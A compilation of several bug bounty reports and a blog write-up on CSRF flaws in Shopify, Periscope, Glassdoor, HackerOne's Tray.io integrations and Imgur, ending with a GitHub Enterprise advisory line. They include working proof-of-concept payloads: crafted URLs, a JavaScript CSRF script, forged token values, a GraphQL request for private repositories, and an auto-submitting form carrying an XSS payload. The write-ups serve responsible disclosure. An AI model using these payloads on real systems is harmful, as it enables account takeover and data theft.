2023-11-24

Hi,

I think there is a weak csrf protection on adding paypal as the payment provider, but the protection is not good. When user try to add paypal as payment provider, they will make this GET request

https://h60ngalog.myshopify.com/admin/payments/complete_paypal_incontext_oauth/41?merchantId=MTU4MzAzMDUwNDowMTBmMDZkYjg1NzM0YjQ4NWVkMDk1YzQ1YWYxY2ZlNw%3D%3D&merchantIdInPayPal=5NS8DHQCFGT84&permissionsGranted=true&accountStatus=BUSINESS_ACCOUNT&consentStatus=true&productIntentID=addipmt&productIntentId=addipmt&isEmailConfirmed=true

The merchantId belongs to your store only, and the base64 decoded value is 1583030504:010f06db85734b485ed095c45af1cfe7 which is obviously too long to brute force, I'll say it is a pretty good way to mitigate CSRF, however there is one catch. This value is fixed, i.e. if someone who previously was an admin of this store before, then he/she can take advantage of this fixed value for CSRF protection, and perfomr CSRF attack on victim to connect victim's payment provider to their Paypal order. Or this value is leaked somewhere, then the store owner is forever vulnerable to CSRF attack

Steps to reproduce

  • Visit https://YOURDOMAIN.myshopify.com/admin/settings/payments, if there is already paypal account connected, disconnect it first

  • Then click the link Acitivate paypal express checkout

  • In the link, jot down the value of merchantId, this merchantId belongs to your store only, in order to connect your store to victim's store, you'll need this parameter, it looks like this MTU4MzAzMDUwNDowMTBmMDZkYjg1NzM0YjQ4NWVkMDk1YzQ1YWYxY2ZlNw%3D%3D

  • Finally, visit this link with merchantId replaced with the value you got from above step (replace YOUTSUBDOMAIN and REPLACEME)

https://YOURSUBDOMAIN.myshopify.com/admin/payments/complete_paypal_incontext_oauth/41?merchantId=REPLACEME&merchantIdInPayPal=5NS8DHQCFGT84&permissionsGranted=true&accountStatus=BUSINESS_ACCOUNT&consentStatus=true&productIntentID=addipmt&productIntentId=addipmt&isEmailConfirmed=true

Here in 5NS8DHQCFGT84 is the attacker's paypal merchant id, so after you visit that link, you got CSRFed to connect your store to my paypal as payment provider, very similar to #807921 but different impact

Impact

CSRFed to connect your store to my paypal as payment provider, very similar to #807921 but different impact

Hello Twitter Team

#Summary This issue is mainly in the Periscope Android app against CSRF follow action using deeplink.

#Description In normal Periscope Website, when we share a follow link like www.pscp.tv/<user-id>/follow, we get a response whether to follow a person or not, giving us an option, means CSRF protection is there in Periscope web application. However, in the Periscope Android App, there are some internal deep links by which we can perform Direct CSRF in terms of the following user using internal deeplinks.

#POC

In Android Manifest XML file, internal deeplinks are described as

<data android:host="user" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="user" android:pathPrefix="/" android:scheme="pscpd"/>
<data android:host="broadcast" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="broadcast" android:pathPrefix="/" android:scheme="pscpd"/>
<data android:host="channel" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="channel" android:pathPrefix="/" android:scheme="pscpd"/>
<data android:host="discover" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="discover" android:pathPrefix="/" android:scheme="pscpd"/>
  • It means we can use pscp://user/<user-id> or pscpd://user/<user-id>

  • Now,normally if we share follow link from website, it'll be like this, www.pscp.tv/<user-id>/follow, further give us option to follow them or not.

  • In deeplink, we can use the same follow-link in this way - pscp://user/user-id/follow, Once you visit this link from the browser, you'll directly follow any person in periscope android app.

  • Here is the Final POC

<!DOCTYPE html>
<html>
<a href="pscp://user/<any user-id>/follow">CSRF DEMO</a>
</html>
  • Visit the above POC html page from android chrome browser, click on link and you'll follow anyone directly inside Periscope android app.

#Attachment (Video) {F492266}

  • App Info - Periscope V 1.25.5.93

Thanks Kunal

Impact

  • Using Periscope deeplink like pscp://user/user-id/follow, it's possible to perform Direct CSRF Follow against any user in periscope android app.

SITE WIDE CSRF ON GLASSDOOR

Posted on December 3, 2020 by Tabahi

In february, 2020 I was looking at what to hack. Glassdoor has a good security team and I had found a lot of bugs on their application before. They have a public bug bounty program on Hackerone, here.


So I started looking at glassdoor. They were using a token to prevent CSRF on all endpoints, it looked like a secure implementation. But I still played around with it. Their gdToken(CSRF token) looks like below:


biu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-2d064VI336fR3dU02bgh67f342D65dZ3ZxrfzJInt3XqGE6fQ:c1cL5swU_iLklg5ly8bTC_Fs8Rofn3Dd_x4p3_Rc67A

I was checking if the tokens were properly session tied. I generated random tokens from an account and tried to use them for someone else’s session. The tokens were session tied and requests failed for cross accounts.

But during my testing I noticed that one of the request got successfully completed. I investigated to see how it happened, and I saw that while copying the token I missed selecting the first character of the token as it was _(underscore).

So for a token like:

_iu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-2d064VI336fR3dU02bgh67f342D65dZ3ZxrfzJInt3XqGE6fQ:c1cL5swU_iLklg5ly8bTC_Fs8Rofn3Dd_x4p3_Rc67A

I only copied:

iu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-2d064VI336fR3dU02bgh67f342D65dZ3ZxrfzJInt3XqGE6fQ:c1cL5swU_iLklg5ly8bTC_Fs8Rofn3Dd_x4p3_Rc67A

and used that for someone else’s session.

And the request got successfully completed. The CSRF protection of the app failed here. Strange.

I tried to reproduce the behaviour with new tokens.

I generated a CSRF token from an account A, stripped off the first character and tried to use it as the CSRF token for account B. The requests were successfully completed.

There are 2 kinds of accounts on Glassdoor:

  • Job Seeker

  • Employer

Both use the same kind of implementation to prevent CSRF, the bypass worked for both and I had CSRF on all endpoints of both the Job Seeker and Employer accounts. This could lead to full account takeover by exploiting functionalities like inviting attacker E-mail with admin access to employer accounts.

So I made a POC for actions changing the `name` and `adding an experience` to a job seeker's account and reported the bug to the team.

I used the following javascript code for POC:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70

function attack() { var fetchHash = new XMLHttpRequest(); var url = "[https://www.glassdoor.com/member/profileApi/set.htm](https://www.glassdoor.com/member/profileApi/set.htm)"``; fetchHash.onreadystatechange=``function () { if``(fetchHash.readyState==4 && fetchHash.status==200) { //datax = fetchHash.responseText; } } fetchHash.open(``"POST"``,url, true``); fetchHash.withCredentials=``true``; fetchHash.setRequestHeader(``"Content-Type"``,``"application/x-www-form-urlencoded; charset=UTF-8"``); fetchHash.send(``'userId=&data.fname=hacked&data.lname=tabahi&data.location=&data.errors=%5Bobject%20Object%5D&features=profileHeader&gdToken=Lw4rY4QtXJRJSGdXYYy2g:TeP6uO91BAb8FhlqLQBkpBpBqoCsWQO7Il8jc4k3XnuZuf1P8WVPwBx9dIt6pyILcXF3qhxJhffMohec02E8yw:8_-LRPyEz4J96fpG0CDqY3S7u5nLqbJgx9Y4RBgxm9Y'``); } attack(); attack2(); function attack2() { var fetchHash = new XMLHttpRequest(); var url = "[https://www.glassdoor.com/member/profileApi/set.htm](https://www.glassdoor.com/member/profileApi/set.htm)"``; fetchHash.onreadystatechange=``function () { if``(fetchHash.readyState==4 && fetchHash.status==200) { //datax = fetchHash.responseText; } } fetchHash.open(``"POST"``,url, true``); fetchHash.withCredentials=``true``; fetchHash.setRequestHeader(``"Content-Type"``,``"application/x-www-form-urlencoded; charset=UTF-8"``); fetchHash.send(``'userId=&data.id=0&data.employerId=7906&data.employerName=The%20Hackett%20Group&data.title=Manager&data.titleId=63697&data.location=Los%20Angeles%2C%20CA%20(US)&data.locationId=1146821&data.locationType=C&data.startMonth=2&data.startYear=2019&data.endMonth=1&data.endYear=2020&data.originalEndMonth=&data.originalEndYear=&data.description=ahacked!!!!%20%20HACKED!!&data.errors=%5Bobject%20Object%5D&data.squareLogoUrl=https%3A%2F%2Fe2hq2ufpdwpaso3o37tdhthjtazanz.burpcollaborator.net%2Fsqlm%2F7906%2Fthe-hackett-group-squarelogo-1435689198144.png&data.overviewUrl=www.thehackettgroup.com&features=experience&gdToken=Lw4rY4QtXJRJSGdXYYy2g:TeP6uO91BAb8FhlqLQBkpBpBqoCsWQO7Il8jc4k3XnuZuf1P8WVPwBx9dIt6pyILcXF3qhxJhffMohec02E8yw:8_-LRPyEz4J96fpG0CDqY3S7u5nLqbJgx9Y4RBgxm9Y'``); }

Here is the POC video:

I explained what kind of Impact this could have:

Bypass CSRF protection mechanism of the core application of www.glassdoor.com

Attacker gains:
Site wide CSRF on both job seeker and employer accounts.

Some critical actions that be performed:


Job seeker account:

> adding salaries, reviews, interviews
> edit profile
> add CVs
> delete existing CVs
> save jobs
> Apply to jobs

Employer account:

> post new jobs
> delete existing jobs
> invite a new user as admin- ACCOUNT TKO

Glassdoor security team triaged the bug and started working towards a fix.


I was still curious about how this happened and was discussing with the team on it. On taking a closer look at the issue, I found out that it had something to do with the length validation of the token.

A valid token was in format

--encoded-string--:--encoded-string--:--encoded-string--

Length of token: 153

Now, if we supplied a token in the same format, but changing the number of characters in a valid token(i.e ≠ 153), the server would treat it as a valid token for the current session.

So basically a token satisfying the following constraints would be a valid token for any session.

The format should be:
--any-no-of-characters---:---anyno-of-characters--:--atleast-one-character--


Total length of the token ≠ length of an actual token

for example, the following gdToken values were accepted as valid by the server for all account sessions on _glassdoor.com_

::0
:tabahi:x
x:tabahi:1
sdfds:3454:dsf34
x::2

A fix was rolled out for the bug, and the glassdoor security team found out that this was an exception handling issue –> an exception was triggered with the forged tokens and they didn’t fail the response and in turn just logged it and allowed the operation to continue. Now a 403 is sent when that exception is triggered.


So the CSRF token validation flow would be something like:

---> The server verifies the format of the CSRF token

---> Now the sever checks if the token is session tied

---> Sever allows operation to be completed

Now, if we supply a token like ::9

---> The server verifies the format of the token ---> we supplied a token in valid format(--0-chars--:--0-chars--:--1-char--) 

our forged token passes the first check


---> Now the sever tries to check if the token is session tied and maybe other checks on the token, here an exception is triggered because the token is of invalid length

This exception wasn't handled properly and caused a CSRF validation bypass

It would pass the first format check, then trigger the exception in the second check and since the exception was not handled and code was allowed to continue, the operation would be completed successfully.


The bug was rewarded at $3000 (Glassdoor’s top bounty + a bonus)

Overview:

Organisations in Hackerone can automate their workflow by integrating their accounts with their existing tools like Github or Jira. Most of these integrations are built on top of Tray.io's embedded product.

According to this article. Hackerone has established Tray Embedded as central integration hub to deliver high-quality customer integration.

Flawed Authorization flow

I have created two sandbox Hackerone accounts and picked the github integration for testing. This link explains very well how to setup the integration on your account.

When we click on "New Authentication", an exchange starts between Hackeron's integration authentication server and the service provider.

{F1976245}

The authentication integration server is hackerone.integration-authentication.com. The following are steps of the authorization flow:

  1. The flow starts with a POST request to hackerone.integration-authentication.com/session

{F1976252}

The response contains two tokens: session and csrf.

  1. The frontend takes those values and uses them to send a request to the oauth2 endpoint to generate the authorization link.

https://hackerone.integration-authentication.com/oauth2/auth/:authentication_id?csrf=QDXo8g3vciWTiV9Mm1L-VpYl6hKQCE-4ORmMFliZNh8=&scope=read:org%20repo&session=78NgOnCMPISn0LPw4Zto5HFSRLJwJyLaJqqi6_bFmXU=

{F1976253}

  1. Following the redirection takes us to the authorization page of the service provider

{F1976255}

If we choose to Authorize Hackerone, we will get redirected to the token callback endpoint:

hackerone.integration-authentication.com/oauth2/token?code=47b070b577c905d66124&state=507dad3e-aa80-4fee-8ec1-a04ad95aea83%2CQDXo8g3vciWTiV9Mm1L-VpYl6hKQCE-4ORmMFliZNh8%3D%2C%2Chackerone.integration-configuration.com%2Cproduction%2C78NgOnCMPISn0LPw4Zto5HFSRLJwJyLaJqqi6_bFmXU%3D

This endpoint validates the code received from Github, the backend relies on the state parameter to determine to which user should the Github access token be appropriated. Then it redirects us to the callback endpoint https://hackerone.integration-configuration.com/auth/cb?id=507dad3e-aa80-4fee-8ec1-a04ad95aea83 which sends a postmessage to the embedded iframe to validate the integration on the client side.

By analyzing these requests, I found that step 2 was not well protected against cross site forgery attacks. The unproper validation of the CSRF token puts all Hackerone's customers at a big risk. With one click from the victim, the attacker couldtrick the victim to link their Github(or any other integration built on top of Tray.io) to the attacker's account.

POC:

{F1976267}

Reproduction Steps:

. Attacker creates a program then starts setting up a an integration(for example Github)

. Attacker keeps forwarding requests until a GET request similar to

https://hackerone.integration-authentication.com/oauth2/auth/<Auth ID>?csrf=F_Sr5vd7hWMLSkZoubYOTMbwROI922ZU6q1S4fEF43E=&scope=read:org%20repo&session=1iydW3sIKpyTGxhG8lxeWY9ddzaUknoUJT9Rr51ptMc=

. Attacker copies the request's url then drops it. He then sends it to the victim and hopes for the best

. Victim clicks on the link

Two options:

  1. if the victim has already linked the company's Github to the Hackerone. Github won't ask for user's conscent. The victim would be redirected the callback endpoint

https://hackerone.integration-configuration.com/auth/cb?id=<Auth ID>

The victim would have no idea of what happened

  1. The app would ask the user if they'd give their conscent to Hackerone. If the victim trusts Hackerone, there is a high chance they would click Yes.

. Once the victim's authorization is finished. The attacker can change the location of authentication window to

https://hackerone.integration-configuration.com/auth/cb?id=<Auth ID>

This step is just to convince the frontend that the authorization has successfully finished. The victim's account is linked to the attacker's account now. Depending on the scope of each integration, there is a wide variety of post exploitation scenarios the attackers could use.

Impact

Once the victim's app is connected to the attacker's hackerone account, there are a lot of post exploitation scenarios an attacker can use. The tray's graphql basically gives the attacker the option to make unauthorized arbitrary calls to the API of the application is question. What makes this vulnerability critical is that it could be reproduced on multiple integrations.

What an attacker could do for example is prepare a list of exploit links and prepares a javascript code that opens all the links is seperate windows. Each link would try taking over a specific integration. This way, the attacker could take multiple integrations at once with one user click.

Post Exploitation:

One of those options is using the Tray.io's graphql. Tray.io has a graphql for its customers that takes care of requesting the integration API's for them.

For example, the query to fetch the the victim's github repositories, including the private ones is similar to this one:

POST /graphql HTTP/2
Host: tray.io
Content-Length: 512
Sec-Ch-Ua: "Not;A=Brand";v="99", "Chromium";v="106"
Accept: */*
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer aad14176400b44bb97b703b4ae1077a5c84c3b7f97e34f5383643c1c8a22cdf4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.91 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://hackerone.integration-configuration.com
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://hackerone.integration-configuration.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"operationName":"CallConnector","variables":{"input":{"connector":"github","version":"2.2","operation":"raw_http_request","authId":"22583997-4aa0-4bb8-87cb-28326dc97868","input":"{\"method\":\"GET\",\"parse_response\":\"true\",\"include_raw_body\":\"false\",\"url\":{\"endpoint\":\"/user/repos?per_page=50&page=1&affiliation=owner%2Ccollaborator%2Corganization_member\"}}"}},"query":"mutation CallConnector($input: ConnectorCallInput!) {\n  callConnector(input: $input) {\n    output\n    __typename\n  }\n}\n"}

Hi @rutger77 Thanks for triaging my report. I respect your decision of severity. However, I am afraid I disagree. I would consider the impact limited to "High" if the impact was limited to Github's integration. Meanwhile, the attack is reproducible against all other integrations that are built on top of Tray. Which to my opinion, makes the impact critical.

Examples of vulnerable integrations: Microsoft Teams, Jira, Azure DevOps, Splunk..

Takeover of multiple integrations with one click

To takeover one integration, the victim needs to visit one link crafted by the attack. The attacker could prepare a list of exploit url. Each url would perform the CSRF to takeover one integrations. (Link 1: impacts Github, Link 2: impacts Jira..)

The attacker hosts an exploit on his server. The exploit would open all the urls in the exploit list into different windows. If the victim has any of the vulnerable integrations installed. The attacker would have access to his accounts seconds after he visits the exploit page.

Why would this work ? The victim wouldn't be asked to Authorize to Hackerone(Tray.io behind the scenes) when they visit the attacker's exploit url.

If I record a video where I takeover multiple integrations with one click from the victim side, would you consider bumping the severity ?

Best Regards, MedMahmoudi

Followup from #311460

#Summary Self xss and CSRF are both out of scope, but when paired it is possible to create an attack on a user.

#Description A favorites folder with an xss payload for a name will launch when saving an image to said folder.

This can be verified by following these steps

  • Visit your favorites

  • Create New Folder

  • Change name to

"'><img src=x onerror=prompt(1)>
  • Save

  • Visit a photo

  • Click the little plus next to the heart on bottom left of image

  • Add to the folder

  • xss will launch

Since self xss is out of scope, we will need a method of delivering this attack to a user. This can be done via a CSRF to create a favorites folder.

POC

Using a form like so to create the CSRF:

<html>
<body onload='document.forms[0].submit()'>
  <form method='POST' enctype='application/json' action='https://api.imgur.com/3/folders'>
    <input name='name' value='New Test"><img src=x onerror=prompt(2)>'>
    <input name='is_private' value='false'>
  </form>
</body>
</html>

Or be logged into your imgur account and visit

http://blackdoorsec.net/sandbox/imgur2.html

This will create the folder with an xss name that can be used to attack an account.

Impact

account hijacking since a user would still need to add an image to the folder for the attack to work, the success rate will be lower than normal

#Scenerio since reddit/imgur communities overlap malicious links containing the CSRF could be sent throughout the site. out of the few thousand hits the link would get, i imagine there would be several successful compromised imgur accounts.

A path traversal vulnerability was identified in GitHub Enterprise Server management console that allowed the bypass of CSRF protections. This could potentially lead to privilege escalation. To exploit this vulnerability, an attacker would need to target a user that was actively logged into the management console. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.5 and was fixed in versions 3.1.19, 3.2.11, 3.3.6, 3.4.1. CVE-2022-23732

Last updated